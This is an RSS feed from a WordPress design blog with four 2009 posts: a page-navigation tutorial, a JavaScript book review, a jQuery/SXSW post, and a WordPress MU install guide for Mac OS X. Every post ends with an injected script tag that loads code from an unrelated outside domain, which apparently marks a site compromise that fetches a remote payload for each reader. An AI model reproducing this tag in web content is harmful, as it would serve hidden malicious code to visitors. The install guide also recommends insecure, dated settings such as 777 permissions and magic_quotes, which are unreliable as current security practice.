<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Withinsight &#187; Tutorials</title>
	<atom:link href="http://www.withinsightdesign.com/category/tutorials/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.withinsightdesign.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sat, 15 May 2010 17:31:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to Setup a Page-Driven Nav in WordPress 2.7</title>
		<link>http://www.withinsightdesign.com/2009/how-to-setup-a-page-driven-nav-in-wordpress-27/</link>
		<comments>http://www.withinsightdesign.com/2009/how-to-setup-a-page-driven-nav-in-wordpress-27/#comments</comments>
		<pubDate>Sat, 16 May 2009 17:26:08 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wordpress navigation]]></category>
		<category><![CDATA[wordpress pages]]></category>
		<category><![CDATA[wp_list_pages]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=101</guid>
		<description><![CDATA[I&#8217;ve been working with WordPress for years now, and I thought it might be a good time to start sharing my knowledge of WordPress best practices.  One item that I think a lot of people just getting started using WordPress might find handy is how to build a navigation that is driven by pages.  Having [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been working with WordPress for years now, and I thought it might be a good time to start sharing my knowledge of WordPress best practices.  One item that I think a lot of people just getting started using WordPress might find handy is how to build a navigation that is driven by pages.  Having a navigation driven by pages has numerous benefits, including having the nav written out as an XHTML compliant unordered list, being able to include or exclude any pages you&#8217;d like, being able to sort the list items to your preference, and being able to style the current page&#8217;s nav button differently.</p>
<h3>Create those Pages</h3>
<p>The first thing you need to do to setup a nav driven by pages is create the pages themselves.  The title you give the page will be the text that appears in the nav.  Also note that by default the nav items will be sorted alphabetically, but you can prioritize them setting the &#8220;Order&#8221; field from within each individual page.</p>
<h3>The Magic of Template Tags</h3>
<p>After you&#8217;ve created all the pages you&#8217;d like to include in the navigation, all that&#8217;s left to do is add the template tag to your template (usually in header.php).  The template tag that lists pages in WordPress is, you guessed it, <code>wp_list_pages</code>.  Here&#8217;s a sample template tag included in my header.php file that passes a few parameters to the function:</p>
<p><code>&lt;?php wp_list_pages('include=2,7,9,11&amp;title_li='); ?&gt;</code></p>
<p>The above block of code includes an opening php statement <code>&lt;?php</code>, the function call <code>wp_list_pages('');</code>, and the arguments to be passed to the function <code>include=2,7,9,11</code> and <code>title_li=</code>.</p>
<p>Let&#8217;s take a look at the two arguments I passed to the <code>wp_list_pages</code> function, starting with <code>include=2,7,9,11</code>.</p>
<p>This tells the function I&#8217;d like to include only pages with the id&#8217;s of 2, 7, 9 and 11.  To find the page id&#8217;s that match your specific pages, go to your pages&gt;edit screen and hover over the link for the title of the page, and (if you&#8217;re using Firefox) look at the bottom of your browser.  At the end of the link you&#8217;ll see something like post=7.  The number here is your page id.  Plug in the page id&#8217;s for any pages you&#8217;d like to include, and you&#8217;re good to go!</p>
<p>The other argument I pass to the <code>wp_list_pages</code> function is to remove the title that would appear by default.  By passing <code>title_li=</code> you&#8217;re essentially saying &#8220;set the title to blank&#8221;, and the function does not return a title list item.  Generally you won&#8217;t want the title, which is up one level in the document tree, to appear if you&#8217;re making a navigation that you&#8217;ll end up floating to the left with CSS.</p>
<p>The ampersand between the two arguments just allows you to string together multiple arguments.  You can string together as many as you&#8217;d like to further develop your own custom WordPress queries using any of the further options detailed on the <a title="wp_list_pages template tag" href="http://codex.wordpress.org/wp_list_pages" target="_blank">WordPress.org <code>wp_list_pages</code> template tag page</a>.</p>
<h3>Check out the Coolness</h3>
<p>The last, and probably most worthwhile thing about building your nav in WordPress using pages is that while navigating your site, the list will be auto-updated with a class that allows you to style the current page&#8217;s button to look different than the other nav buttons.  After you&#8217;ve got your nav set up and working, visit one of the pages and then view the page source.  You&#8217;ll see the class of <code>current_page_item</code> applied to the list item for the page you&#8217;re currently on, automatically generated by WordPress for each page.</p>
<p>Now just start styling your way to a dynamic WordPress page-driven navigation!  If you need more info on the CSS required to float a list to the left that creates a horizontally oriented navigation out of an unordered list, check out this tutorial at <a title="456 Berea St." href="http://www.456bereastreet.com/archive/200501/turning_a_list_into_a_navigation_bar/" target="_blank">456 Berea St</a>.</p>
<p>I hope this can help you to build your own navigation, and take it even further using the WordPress.org template tag page.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/how-to-setup-a-page-driven-nav-in-wordpress-27/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Review: Simply JavaScript by Kevin Yank and Cameron Adams</title>
		<link>http://www.withinsightdesign.com/2009/review-simply-javascript-by-kevin-yank-and-cameron-adams/</link>
		<comments>http://www.withinsightdesign.com/2009/review-simply-javascript-by-kevin-yank-and-cameron-adams/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 14:03:34 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Book Reviews]]></category>
		<category><![CDATA[Dojo]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[MooTools]]></category>
		<category><![CDATA[Prototype]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[YUI]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Cameron Adams]]></category>
		<category><![CDATA[javascript libraries]]></category>
		<category><![CDATA[JavaScript tutorials]]></category>
		<category><![CDATA[Kevin Yank]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=75</guid>
		<description><![CDATA[

Book review of Simply JavaScript by Kevin Yank and Cameron Adams

I read Simply JavaScript a few months back, and couldn&#8217;t help but include it in my reviews here at withinsight.com.  Its simply too good not to.  I&#8217;ve got a decent amount of JavaScript experience, although not necessarily through practice.  JavaScript has always been that part [...]]]></description>
			<content:encoded><![CDATA[<div class="entry">
<div class="hreview">
<h3 class="summary">Book review of Simply JavaScript by Kevin Yank and Cameron Adams</h3>
<div class="description"><a href="http://www.amazon.com/gp/product/0980285801?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0980285801" target="_blank"><img class="alignright photo" src="/wp-content/themes/withinsightdesign/i/simply-javascript.jpg" alt="Simply JavaScript by Kevin Yank and Cameron Adams" /></a><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=0980285801" border="0" alt="" width="1" height="1" /></p>
<p>I read <em>Simply JavaScript</em> a few months back, and couldn&#8217;t help but include it in my reviews here at withinsight.com.  Its simply too good not to.  I&#8217;ve got a decent amount of JavaScript experience, although not necessarily through practice.  JavaScript has always been that part of my web design arsenal that I&#8217;ve wanted desperately to add, but has never seemed to work its way into regular usage in my day-to-day work.  You can&#8217;t say its for lack of trying, as I&#8217;ve read the first half of O&#8217;Reilly&#8217;s <em>JavaScript, The Definitive Guide</em>, which while full of great info, is not necessarily the best introduction to JavaScript for the beginning scripter.  I then found <em>DOM Scripting</em> by Jeremy Keith, which offers a very, very introductory level explanation of JavaScript before digging into the basics of <em>DOM Scripting</em>.  I had a decent picture of what else was out there in terms of JavaScript books.</p>
<p>Jeremy Keith is actually the one who <a title="Jeremy Keith's recommendation of Simply JavaScript" href="http://www.domscripting.com/blog/display/105" target="_blank">recommended <em>Simply JavaScript</em> on his website</a> a while back, which is how I originally heard about it.  He stated that his book <em>DOM Scripting</em> was intended for a very specific audience, and that there really weren&#8217;t any other books that did it as well as he does, until <em>Simply JavaScript</em> was released.  Very big of an author to acknowledge the competition with a tip of the hat.</p>
<h3>Meet Your New Friend, JavaScript</h3>
<p>If I could, I would probably go back and start from scratch originally with <em>Simply JavaScript</em>.  It is a perfect introduction for the web designer looking fill out the third leg of the XHTML/CSS/JS stool that we all sit upon.  <a title="Kevin Yank's blog" href="http://www.kevinyank.com/blog/" target="_blank">Yank</a> and <a title="Cameron Adam's homepage" href="http://themaninblue.com/" target="_blank">Adams</a> present the material in a way that anyone with a little XHTML and CSS experience will not only understand, but really find themselves enjoying.  I literally found myself laughing out loud at a few points, such as:</p>
<blockquote><p>The popularity of regular expressions has everything to do with how useful they are, and absolutely nothing to do with how easy they are to use &#8211; they&#8217;re not easy at all. In fact, to most people who encounter them for the first time, regular expressions look like something that might eventuate if you fell asleep with your face on the keyboard.</p></blockquote>
<p>Fantastic!  There are a number of moments like this that brighten up the pages.</p>
<p><em>Simply JavaScript</em> is written in a progressive tutorial format, so you can move through it chapter by chapter, rather than using it as a reference.  The one exception to this is the chapter on &#8220;Errors and Debugging&#8221; which falls fairly late in the book.  I was okay without it for the first few chapters, but once I got into chapters 4, 5 and 6 on events, animation, and form enhancements, respectively, I think I could have done with reading that chapter first.  In chapter 7, they introduce the Firebug Firefox extension, and how to use it to pause the state of JavaScript at selected lines in your code, which I definitely could have used a little earlier in the book while troubleshooting projects.</p>
<h3>JavaScript Libraries Galore</h3>
<p>Another great aspect of <em>Simply JavaScript</em> is how they relate the tutorials completed in each chapter to the respective current JavaScript library.  So if you&#8217;ve heard about all the cool stuff web designers and developers have been doing with libraries like Prototype &amp; script.aculo.us, MooTools, Dojo, jQuery, or Yahoo&#8217;s YUI, but haven&#8217;t been able to find practical uses for any of them in your projects, here&#8217;s where you can make the connection.</p>
<p>Yank &amp; Adams build a very nice core library that you can use to power a few solutions to design problems that have faced web designers for years, like building stripey tables on the fly, or validating form information.  They even get into more advanced topics like animation and AJAX.  Actually, after you read this book, you&#8217;ll probably realize how non-advanced these topics are.  This book truly does make JavaScript simple!</p>
<p>I feel like a lot of JavaScript is like a catch-22 in that until you read a book like this, you have a very limited arsenal.  You may know how to pop open a new window or change the behavior of a few links, but you don&#8217;t truly have a grasp of the potential of what you can accomplish with JavaScript.  Reading a book like <em>Simply JavaScript</em>, even if you don&#8217;t go into all the details and grasp every last concept, at a bare minimum lets you know what you <em>can</em> do, which will help you tremendously in future projects.</p>
<h3>First Impressions Make Such an Impact</h3>
<p>One last thing that I need to mention is the production quality of this book. Sitepoint really went all out.  I&#8217;ve got six Sitepoint books, everything from HTML basics to PHP, and <em>Simply JavaScript</em> is the only one that is full color. In addition to brightening up the pages with color, the footnotes are all located at the bottom of each page.  I was recently reading the O&#8217;Reilly book <em>AJAX Design Patterns</em>, and found it extremely annoying to have to continually skip over URLs in the middle of the text.  Sitepoint places URL footnotes where they should be, at the foot of each page, making it easier to concentrate on the text and code, and reference the footnotes when you want to.</p>
<p>Overall, this is absolutely the best starting point for the beginner JavaScript student, and I would recommend it to any web professional who works with code on a daily basis.  It will teach you to apply the same unobtrusive principles that you hopefully already apply of CSS to XHTML documents, instructing you how to do the same with JavaScript.</p>
<p class="item">You can purchase <em><a class="fn url" href="http://www.amazon.com/gp/product/0980285801?ie=UTF8&amp;tag=markepanth-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0980285801" target="_blank">Simply JavaScript</a></em><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=markepanth-20&amp;l=as2&amp;o=1&amp;a=0980285801" border="0" alt="" width="1" height="1" /> over at Amazon.com.</p>
<h3>Rating</h3>
<ul class="ratings">
<li class="nine">Overall: <span class="rating"><span class="value">9</span> out of <span class="best">10</span></span></li>
</ul>
</div>
</div>
</div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/review-simply-javascript-by-kevin-yank-and-cameron-adams/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SXSW and jQuery</title>
		<link>http://www.withinsightdesign.com/2009/sxsw-and-jquery/</link>
		<comments>http://www.withinsightdesign.com/2009/sxsw-and-jquery/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 21:17:51 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Alex King]]></category>
		<category><![CDATA[boagworld]]></category>
		<category><![CDATA[Eric Meyer]]></category>
		<category><![CDATA[javascript libraries]]></category>
		<category><![CDATA[Paul Boag]]></category>
		<category><![CDATA[Prototype]]></category>
		<category><![CDATA[sxsw]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=68</guid>
		<description><![CDATA[So right about now I&#8217;m wishing that if I could be anywhere, it would be at SXSW (South by Southwest).  For those of you who don&#8217;t know, its about the coolest festival on the planet.  And I don&#8217;t know from experience, just from colleagues and coworkers and podcasts and industry moguls giving me an earful.
In [...]]]></description>
			<content:encoded><![CDATA[<p>So right about now I&#8217;m wishing that if I could be anywhere, it would be at <a title="South by Southwest" href="http://sxsw.com/music/shows" target="_blank">SXSW (South by Southwest)</a>.  For those of you who don&#8217;t know, its about the coolest festival on the planet.  And I don&#8217;t know from experience, just from colleagues and coworkers and podcasts and industry moguls giving me an earful.</p>
<p>In addition to being a hotspot for web design, SXSW boasts an impressive musical lineup each year, and this year I&#8217;ll be disappointed that I&#8217;ve missed The Everyday Visuals, Madi Diaz, and the undisputable heavyweight of soul, Miss Erykah Badu.</p>
<p>I&#8217;ve been hearing about it for weeks, from Paul Boag blabbering about it on his <a title="Boagworld.com" href="http://www.boagworld.com/" target="_blank">Boagworld podcast</a>, to having to postpone projects with colleagues who are attending, to CSS guru Eric Meyer tweeting, &#8220;If you&#8217;re not going to SXSW, tweet like you&#8217;re there.  Nobody will know the difference.&#8221;  Yeah, that almost makes up for not being able to attend.</p>
<p>But alas, I am not one to linger, and the time spent here at home has given me the opportunity to start exploring jQuery, which was recommended to me by <a title="Alex King author of WordPress Popularity Contest plugin" href="http://alexking.org/" target="_blank">Alex King</a>, famed author of the <a title="Alex King's WordPress plugins" href="http://alexking.org/projects/wordpress" target="_blank">WordPress Popularity Contest plugin</a>, and another item that Paul Boag has been going on endlessly about for months now.  I finally broke down and downloaded the library and started playing with it.</p>
<p>From my first impressions, Paul has reason to be going on endlessly.  It seems that the potential of what a web designer or developer can accomplish with the JavaScript library is in fact endless.  The first item that caught my eye was the fact that on the jQuery homepage they offer the expanded, developer version of the library, along with the compressed, production version.  I was immediately reminded of the hours I&#8217;ve spent testing the best method to minify, compress and serve my Prototype and Scriptaculous libraries.  jQuery does this for me?  Fantastic.</p>
<p>Second, I was really impressed with the quality and quantity of documentation.  Compared to Prototype, jQuery blows it out of the water in terms of a working online manual.  I think I&#8217;ve officially moved the &#8220;Prototype and script.aculo.us&#8221; book to the back of my &#8220;must read&#8221; list.  I&#8217;ve actually read the first half of it already, but it was cryptic and would have required re-reading on my part to fully absorb the material.  jQuery is the complete opposite.  There are video tutorials explaning the beginner steps.  Video tutorials.</p>
<p>The last thing about jQuery that really hooked me was the ease with which a web designer can pick up the library.  A lot of the arguments you pass to the library are the same as in CSS.  So if you&#8217;re looking for a div with the id of conference, you pass (&#8220;#conference&#8221;) as the argument.</p>
<p>It seems like its going to be really easy to quickly get up to speed with the library, and that it has a lot of power in terms of what you can do with it.  If you&#8217;re interested, check out the <a title="jQuery" href="http://jquery.com/" target="_blank">jQuery site</a>, the <a title="jQuery user interface" href="http://jqueryui.com/" target="_blank">jQuery UI site</a>, as well as some of the <a title="jQuery tutorials" href="http://docs.jquery.com/Tutorials" target="_blank">video tutorials</a>. Really, really, really cool stuff.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/sxsw-and-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing WordPress MU on Mac OS X Leopard</title>
		<link>http://www.withinsightdesign.com/2009/installing-wordpress-mu-on-mac-os-x-leopard/</link>
		<comments>http://www.withinsightdesign.com/2009/installing-wordpress-mu-on-mac-os-x-leopard/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 15:16:42 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WordPress MU]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[bbpress]]></category>
		<category><![CDATA[buddypress]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wpmu]]></category>

		<guid isPermaLink="false">http://www.withinsightdesign.com/?p=62</guid>
		<description><![CDATA[I&#8217;ve run through this process a few times now, so I thought I&#8217;d document my steps for anyone who&#8217;s interested in setting up the multi-user version of WordPress on their local box for testing purposes.  The power of the multi-user version of WordPress is impressive, especially when combined with BBPress for forums, and the teetering-on-official-release [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve run through this process a few times now, so I thought I&#8217;d document my steps for anyone who&#8217;s interested in setting up the multi-user version of WordPress on their local box for testing purposes.  The power of the multi-user version of WordPress is impressive, especially when combined with BBPress for forums, and the teetering-on-official-release BuddyPress for social aspects.  Ready to dig in?  Lets go.</p>
<p>The first thing you need to ensure prior to installing WordPress MU locally is that you have the underlying technologies installed.  WordPress and WordPress MU run on LAMP, or in this case MAMP.  There are all-in-one packages out there that install all three for you, and OS X does come with versions of Apache and PHP, but we want to learn how to get our hands dirty and be able to fix anything ourselves in times of crisis, right? So we need to make sure you&#8217;ve got Apache running, MySQL installed with a dedicated database setup, and PHP installed.</p>
<h3>Turning on the Apache Web Server</h3>
<p>First, we&#8217;ll tackle Apache.  This sentence will probably take longer to write than it will for you to turn on Apache on your Mac.  Go to System Preferences &gt; Sharing &gt; Web Sharing.  Checking of the &#8220;Web Sharing&#8221; checkbox here toggles the Apache server.  If you ever need to restart Apache, its as easy as coming in here, unchecking the &#8220;Web Sharing&#8221; checkbox, and checking it again.  Cake.</p>
<h3>Installing MySQL</h3>
<p>On to MySQL.  You&#8217;ll need to download the most recent version of MySQL, which can be found at the <a href="http://dev.mysql.com/downloads/" target="_blank">MySQL downloads page</a>. Click &#8220;downloads&#8221; under the MySQL Community Server section.  Scroll down to the &#8220;Mac OS X (package format)&#8221; link and click.  Here is where you&#8217;ll have to ensure you download the proper package based on your Mac.  I chose the 10.5 (x86) since I&#8217;m running an Intel MacBook Pro, which ias the x86 processor. After you determine which package suits your Mac, click the &#8220;pick a mirror&#8221; link, and if you&#8217;ve never downloaded anything from the MySQL site before, you&#8217;ll have to register quickly.  Once you&#8217;ve registered and downloaded the dmg (named <code>mysql-5.1.31-osx10.5-x86.dmg</code> in my case), you&#8217;re ready to run the installer.</p>
<p>Once you&#8217;ve opened the dmg, you&#8217;ll see two .pkg files we&#8217;ll be interested in.  First, run the installer pkg file, which will walk you through a simple install.  After the initial install you&#8217;ll want to launch MySQLStartupItem.pkg, which will ensure that MySQL starts each time you restart your Mac. You&#8217;ve now got MySQL installed on your Mac!  Note the install location, as we&#8217;ll need that later on to create the database for WordPress MU.  Mine installed at /usr/local/mysql/bin/mysql.</p>
<p>Another item worth mentioning is that working with MySQL, PHP and Apache requires you to have access to a lot of OS X&#8217;s hidden files.  I recommend a great OS X app called <a title="FileXaminer" href="http://www.gideonsoftworks.com/filexaminer.html" target="_blank">FileXaminer</a>, which I read about in MacWorld a while back.  FileXaminer lets you browse all the hidden files in Finder, and chmod the permissions on files and folders directly from Finder, rather than the command line.  Definitely a great solution for 10 bucks.</p>
<h3>Installing PHP</h3>
<p>The final piece of our MAMP stack is PHP.  PHP installation is fairly straightforward, and the best package online is located at <a title="Entropy's PHP download page" href="http://www.entropy.ch/software/macosx/php/" target="_blank">Entropy&#8217;s PHP download page</a>. There&#8217;s a box on this page titled &#8220;PHP 5 on Mac OS X 10.4, PPC and Intel&#8221;, and you can select the &#8220;PHP 5.2.4 for Apache 2&#8243; package.  Its definitely worth reading through this page first, but most users will have the default setup of Apache, and won&#8217;t need to make any changes prior to running the install.</p>
<p>After running the entropy installer, you can run a test to make sure everything went well.  Create a file titled test.php, and stick the following code in it: <code>&lt;?php phpinfo() ?&gt;</code>. Put test.php in your /Sites folder (/Users/yourusername/Sites), and then open up http://10.0.1.2/~yourusername/test.php.  The IP used in this example is found in System Preferences &gt; Sharing &gt; Web Sharing.</p>
<p>The phpinfo function is a great way to quickly check all the settings of your PHP install, so save this test file for reference in the future.</p>
<p>There&#8217;s one final tweak to PHP that&#8217;s really a best practice.  You&#8217;ll want to navigate to your php.ini file, and open it in your favorite text editor.  My php.ini is located at /private/etc/php.ini.  Make a duplicate of this file (sometimes the original will be called php.ini.default, so make a dup called php.ini).  Once you&#8217;ve opened the php.ini file, search for &#8220;register_globals = On&#8221;, and switch it to register_globals = Off&#8221;.  Also, search for &#8220;magic_quotes_gpc = Off&#8221; and switch it to &#8220;magic_quotes_gpc = On&#8221;.  In the php.ini file, all lines that start with a ; are commented out, so you&#8217;ll want to search for these two lines that are not commented out and then make the changes.</p>
<p>Save the changes in php.ini, then restart Apache in System Preferences.  Then open your test.php file again, and look for the changes to make sure they were made.</p>
<h3>Installing WordPress MU</h3>
<p>Finally, its time for the money melon.  Download the <a title="WordPress MU download" href="http://mu.wordpress.org/download/" target="_blank">latest version of WordPress MU</a> from the download page.  Unzip the package and stick it in your /Sites directory, and rename (I chose &#8220;wpmu&#8221;).  The first thing you&#8217;ll want to do before attempting to install WordPress MU is to open the README.txt file that is in the root directory of the unzipped WPMU package.  You&#8217;ll want to read this carefully and cater the specific files you your specific install case, but they basically touch upon the php.ini file that we&#8217;ve already edited, and the httpd.conf file, which is Apache&#8217;s root config file.  I found mine located at /private/etc/httpd.conf.  You can find a better understanding of the <a title="httpd.conf fun!" href="http://httpd.apache.org/docs/2.0/configuring.html" target="_blank">Apache httpd.conf</a> file, the <a title="Apache directive fun!" href="http://httpd.apache.org/docs/2.0/mod/directives.html" target="_blank">directives contained within</a>, and an explanation of the <a title="htaccess fun!" href="http://httpd.apache.org/docs/2.0/howto/htaccess.html" target="_blank">.htaccess files</a> you can use to override the httpd.conf file in your local sites at the Apache web site.  I found that after reading a few short pages here, that the Apache config file cascade is very similar to the cascade of CSS files and rules.  Cool stuff.</p>
<h3>Creating a MySQL database</h3>
<p>Once you&#8217;ve read through the README.txt and made appropriate changes to your php.ini and httpd.conf files (and taken decent notes, hopefully), you&#8217;re ready for the install.  Since you&#8217;ve already got the files unzipped in your /Sites directory, the next step of the install is creating the database. Open the Terminal application (Applications &gt; Utilities &gt; Terminal), and type the following command:</p>
<p>/usr/local/mysql/bin/mysql -u root -p</p>
<p>where the path matches the MySQL path I mentioned to remember earlier.  The -u root tells MySQL that you want to login as &#8220;username root&#8221;, and the -p tells MySQL to prompt you for a password. If you&#8217;ve never logged into MySQL in terminal before, the username for root will either be root or blank.  After you&#8217;ve successfully logged into MySQL, you&#8217;ll know as the command prompt will have changed to:</p>
<p>mysql&gt;</p>
<p>To create a database, type the following command:</p>
<p>CREATE DATABASE wpmu;</p>
<p>where wpmu is the name of the database.  You can name the database whatever you&#8217;d like, but make sure to follow it with the semi-colon, and remember the name of your database.</p>
<p>While we&#8217;re in here, its probably a good idea to change your root username.  Type the following command:</p>
<p>UPDATE mysql.user SET Password=PASSWORD(&#8220;new password&#8221;) WHERE User=&#8221;root&#8221;;</p>
<p>Replace the new password with your desired password.  Once we&#8217;ve created the database, and updated the root MySQL user&#8217;s password (and noted both), we can exit MySQL by typing:</p>
<p>exit</p>
<h3>Running the WPMU Installer</h3>
<p>You can now open the index.php from your wpmu folder in your web browser.  It may tell you that you have to change the permissions on a few folders prior to running the install.  If this occurs, it is extremely easy to modify the permissions using FileXaminer.  The two folders you&#8217;ll have to mod are the root /wpmu folder and the /wp-content folder, changing the permissions on both from 755 to 777.  After you&#8217;ve made these changes, refresh the index.php file, and enter the proper information.</p>
<p>Since WPMU doesn&#8217;t allow you to install at &#8220;localhost&#8221;, and you have to use &#8220;localhost.localdomain&#8221;, I had to make a change in my hosts file as well.  The file is located in /private/etc/hosts, and I changed:</p>
<p>127.0.0.1 localhost</p>
<p>to</p>
<p>127.0.0.1 localhost.localdomain</p>
<p>and resaved the file.  Also note that I set the database location to &#8220;localhost.localdomain&#8221;.  The other information on the install screen should be pretty simple; the database name and password we just created in MySQL.  Once you&#8217;ve filled out the form, submit and you should be looking at a nice, fresh, local install of WPMU.</p>
<p>If you do get stuck, the <a href="http://mu.wordpress.org/forums/" target="_blank">WPMU Forums</a> are a big help, as most likely users have run into your same problem. The steps above worked for me, but there may be variables with your certain configuration that you&#8217;ll need answered in the Forums.</p>
<p>Good luck, and happy WPMU&#8217;ing!</p>
<p><strong>UPDATE 3/4/09:</strong> If you&#8217;d like to configure OS X Leopard to host multiple local Wordpress instances, follow this great <a title="Apache Virtual Host Tutorial" href="http://www.oreillynet.com/pub/a/apache/2003/07/24/vhosts.html" target="_blank">tutorial at O&#8217;Reilly</a>.  I&#8217;ve spent hours piecing together solutions from various articles, but this O&#8217;Reilly article sums it up great.  Basically, I&#8217;ve now got WPMU running locally at test.wpmu.local, and WordPress running locally at test.wp.local.  Apache&#8217;s Virtual Hosts are really powerful, and essential if you&#8217;re going to be working on multiple client websites that run on WordPress.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.withinsightdesign.com/2009/installing-wordpress-mu-on-mac-os-x-leopard/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
